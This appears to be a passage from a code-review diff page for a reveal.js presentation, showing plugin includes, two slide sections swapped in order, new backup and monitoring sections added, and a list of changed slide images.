{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js' },
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
......@@ -66,7 +66,7 @@
</section>
</div>
<div class="slides">
<section data-markdown="md/stack.md"
<section data-markdown="md/terraform.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
......@@ -74,7 +74,7 @@
</section>
</div>
<div class="slides">
<section data-markdown="md/terraform.md"
<section data-markdown="md/stack.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
......@@ -97,6 +97,22 @@
data-charset="utf-8">
</section>
</div>
<div class="slides">
<section data-markdown="md/backup.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
<div class="slides">
<section data-markdown="md/monitoring.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
<div class="slides">
<section data-markdown="md/openstack.md"
data-separator="^\n\n\n"
......
content/slides/cri/images/80columns.jpg

124 KiB

content/slides/cri/images/aws.png

6.44 KiB | W: 0px | H: 0px

content/slides/cri/images/aws.png

24.4 KiB | W: 0px | H: 0px

content/slides/cri/images/aws.png
content/slides/cri/images/aws.png
content/slides/cri/images/aws.png
content/slides/cri/images/aws.png
  • 2-up
  • Swipe
  • Onion skin
content/slides/cri/images/batiments.png

71.8 KiB

content/slides/cri/images/gitlab.png

3.6 KiB